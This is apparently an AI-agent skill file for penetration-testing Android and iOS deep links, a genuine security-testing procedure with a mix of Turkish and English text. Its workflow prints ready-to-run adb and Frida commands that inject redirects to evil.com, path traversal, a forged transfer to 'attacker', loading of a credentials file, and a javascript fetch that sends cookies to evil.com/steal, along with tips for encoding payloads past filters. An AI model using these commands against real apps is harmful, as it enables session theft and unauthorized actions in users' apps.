Exploiting Deeplink Vulnerabilities

---
name: exploiting-deeplink-vulnerabilities
description: Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect
  manipulation. Use assessing yaparken mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security
  testing, URL scheme exploitation, mobile intent abuse, or link hijacking.
tags:
- ios
- fetih
- owasp-mobile
- mobile-security
- cybersecurity
- penetration-testing
- deep-links
- siber-güvenlik
- android
triggers:
- alert
- api
- authentication
- deeplink
- exploit
- exploiting
- http
- log
- mobile
- sql
- vulnerabilities
- web
category: mobile-security
source_subdomain: mobile-security
nist_csf:
- PR.PS-01
- PR.AA-05
- ID.RA-01
- DE.CM-09
adapted_for: fetih
---

# Exploiting Deeplink Vulnerabilities


## Ne Zaman Kullanılır

Use bu skill when:
- Assessing mobile app deep link handling for injection and redirect vulnerabilities
- Testing Android intent filters and iOS URL scheme handlers for unauthorized access
- Evaluating App Links (Android) and Universal Links (iOS) verification
- Testing for link hijacking via competing app registrations

**Kullanma:** without authorization -- deep link exploitation can trigger unintended actions in target applications.

## Ön Gereksinimler

- Android device with ADB or iOS device with Objection/Frida
- APK decompiled with apktool or JADX for AndroidManifest.xml analysis
- Bilgi: target app's registered URL schemes and intent filters
- Drozer for Android intent testing
- Burp Suite for intercepting deep link-triggered API calls

## İş Akışı

### Adım 1: Enumerate Deep Link Entry Points

**Android - Extract from AndroidManifest.xml:**
```bash
apktool d target.apk -o decompiled/

grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

```

**iOS - Extract from Info.plist:**
```bash
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"

curl https://target.com/.well-known/apple-app-site-association
```

### Adım 2: Test Deep Link Injection

**Android via ADB:**
```bash
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app
```

**iOS via Safari or command line:**
```bash

frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
```

### Adım 3: Test Link Hijacking

**Android:**
```bash


adb shell pm get-app-links com.target.app
```

### Adım 4: Test WebView Deep Link Loading

```bash
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
```

### Adım 5: Assess Parameter Validation

Test each deep link parameter for:
- SQL injection in parameters that query local databases
- Path traversal in file path parameters
- SSRF in URL parameters that trigger server requests
- Authentication bypass via user_id or session parameters

## Key Concepts

| Term | Definition |
|------|-----------|
| **Custom URL Scheme** | App-registered protocol (myapp://) that routes to specific app handlers when invoked |
| **App Links (Android)** | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |
| **Universal Links (iOS)** | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |
| **Intent Hijacking** | Malicious app intercepting deep links by registering the same URL scheme or intent filter |
| **WebView Bridge** | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |

## Tools & Systems

- **ADB**: Android command-line tool for invoking deep links via `am start`
- **Drozer**: Android security framework for testing intent-based attack surface
- **apktool**: APK decompiler for extracting AndroidManifest.xml and intent filter definitions
- **Frida**: Dynamic instrumentation for hooking URL scheme handlers at runtime
- **Burp Suite**: Proxy for intercepting API calls triggered by deep link navigation

## Common Pitfalls

- **App Links verification**: Android App Links with verified domain associations are resistant to hijacking. Check `assetlinks.json` at `https://domain/.well-known/assetlinks.json`.
- **Fragment handling**: Some apps process URL fragments (#) differently than query parameters (?). Test both.
- **Encoding bypass**: URL-encode payloads to bypass client-side input filtering in deep link handlers.
- **Multi-step deep links**: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 5a87a4825663fda5
-->